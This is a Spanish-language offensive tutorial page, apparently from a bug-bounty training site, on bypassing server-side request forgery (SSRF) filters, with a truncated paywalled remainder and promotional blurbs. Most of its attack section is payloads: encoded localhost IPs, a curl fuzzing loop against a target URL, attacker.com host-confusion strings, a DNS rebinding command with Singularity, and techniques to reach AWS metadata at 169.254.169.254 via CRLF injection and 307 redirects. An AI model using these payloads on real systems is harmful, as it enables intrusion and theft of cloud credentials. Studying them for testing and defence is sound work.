Respuesta rápida
SSRF en 2026 sigue activo porque la mayoría de allowlists validan el host antes de la resolución DNS y nunca re-validan después del redirect. La estrategia: IP encoding (decimal/hex/octal/IPv6) → DNS rebinding para target con dual-resolve → redirect chain a file:// o gopher:// → cloud metadata (AWS IMDSv2 con headers, GCP Metadata-Flavor, Azure Metadata: true) → service-specific gopher para escalar a RCE en Redis/Memcache/MySQL.
Encoding del host — el primer pase
El parser de URL del lenguaje server-side suele aceptar formas que el validator no contempla. Antes de payloads exóticos, prueba IP variants triviales:
| Forma | Equivalente | Cuándo funciona |
|---|---|---|
127.0.0.1 | localhost | Baseline, casi siempre bloqueado |
127.1 | localhost | Validators con regex ^127\.0\.0\.1$ |
127.000.000.001 | localhost | Validators que comparan literal |
2130706433 | decimal de 127.0.0.1 | Validators que no normalizan |
0x7f000001 | hex de 127.0.0.1 | Same |
017700000001 | octal de 127.0.0.1 | Curl + libcurl lo aceptan |
0 | 0.0.0.0 → bound localhost | Linux only, sorprendente que funciona |
[::] | IPv6 all-zero | Routea a localhost |
[0:0:0:0:0:ffff:127.0.0.1] | IPv4-mapped IPv6 | Bypass de validators IPv4-only |
127。0。0。1 | Unicode fullwidth dot | WHATWG parser normaliza |
localtest.me | DNS apunta a 127.0.0.1 | DNS-level resolve to localhost |
Script de fuzzing rápido
for payload in 127.0.0.1 127.1 2130706433 0x7f000001 017700000001 \
'[::]' '[::ffff:127.0.0.1]' localtest.me '127。0。0。1' 0; do
curl -s -o /dev/null -w "%{http_code} $payload\n" \
"https://target.com/api/fetch?url=http://$payload/"
done
Una respuesta distinta del 4xx baseline (302, 200, 500) indica que el payload pasa el filtro y el backend intenta conexión.
Hostname tricks — confusion entre validator y client
El validator y el HTTP client suelen usar parsers distintos. Diferencia entre WHATWG URL Standard (browsers, parser moderno) y RFC 3986 (parser legacy server-side):
http://attacker.com\@victim.com
↑ WHATWG ve "victim.com" como host (backslash = slash)
↑ RFC3986 parser server-side ve "attacker.com" como host
Si el validator está en JS (WHATWG) y el fetcher en Python (RFC3986), el bypass es trivial.
@attacker.com.victim.com
victim.com#@attacker.com
victim.com@attacker.com
victim.com?@attacker.com
attacker.com;victim.com
victim.com%2eattacker.com
DNS rebinding — el bypass universal contra TOCTOU
Cuando el validator hace una resolución DNS, confirma que es externa, y luego el fetcher hace su propia resolución, hay una ventana donde el DNS puede contestar 8.8.8.8 la primera vez y 169.254.169.254 la segunda.
Setup
- Atacante controla un DNS server (rbndr.us, DNS dinámico custom o
singularityde NCC Group). - Domain con TTL=0 que responde alternando IPs:
- Query 1:
1.2.3.4(público, pasa el validator) - Query 2:
169.254.169.254(IMDS, el fetcher conecta)
- Query 1:
Tooling
Singularity of Origin — framework all-in-one:
sudo singularity_server --target=ssrf-target.tld --dns-port=53
# Configura *.s.your-dns.com → IP de Singularity
# Payload: http://s-1-2-3-4-rebind-127-0-0-1.s.your-dns.com/
Por qué AWS IMDSv2 lo mitiga (y por qué falla)
IMDSv2 requiere:
PUT /latest/api/token(genera token de sesión).GET /latest/meta-data/...conX-aws-ec2-metadata-token: <TOKEN>.
Si el SSRF solo permite GET → bloqueado. Pero:
- Muchos parsers HTTP server-side aceptan
Host:header injection vía CRLF en URL → puedes forzar un PUT. - Métodos no estándar via libcurl:
curl -X PUTsi la primitiva permite. - Si el lenguaje usa libraries que siguen redirects 307 (que preservan método) y el atacante controla un servidor que devuelve
307 Location: http://169.254.169.254/latest/api/tokencon método PUT → token issued.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Ssrf Bypasses Completo
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SSRF — bypasses completos: localhost, IPv6, decimal, DNS y cloud metadata
11 técnicas para bypassear validación SSRF: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse
Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.
